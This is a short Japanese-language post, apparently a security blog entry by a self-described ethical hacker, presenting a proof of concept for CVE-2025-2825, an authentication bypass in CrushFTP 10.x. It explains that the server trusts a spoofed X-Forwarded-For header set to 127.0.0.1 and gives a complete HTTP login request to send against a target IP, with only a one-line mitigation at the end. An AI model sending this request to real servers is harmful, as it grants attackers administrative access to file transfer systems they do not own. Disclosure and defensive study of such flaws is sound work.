CVE-2025-2825 の認証バイパス PoC – CrushFTP 10.x を悪用
CVE-2025-2825 は、広く使用されているセキュアファイル転送サーバ CrushFTP に存在する深刻な認証バイパス脆弱性です。この欠陥により、リモート攻撃者はヘッダーを偽装してログイン認証を回避し、サーバーにリクエストが localhost から来たと思い込ませることで管理アクセスを取得できます。
この脆弱性は、X-Forwarded-For ヘッダーの検証が不適切であることに起因します。このヘッダーが 127.0.0.1 に設定されると、サーバーはリクエストをローカルからのものとして扱い、認証をバイパスします。
GET /WebInterface/login.html?command=validate&username=Admin&password=any HTTP/1.1
Host: target-ip
X-Forwarded-For: 127.0.0.1
📝
target-ipを対象の CrushFTP サーバーの実際の IP アドレスに置き換えてください。
成功すると、サーバーは認証をバイパスし、誤った認証情報でもアクセスを許可します。
X-Forwarded-For: 127.0.0.1
X-Forwarded-For などのヘッダーをサニタイズし検証する。Shivshant Patil
認定倫理的ハッカー (CEH v13)
B.Tech コンピュータ工学卒業
🔗 LinkedIn プロフィール
🔗 GitHub プロフィール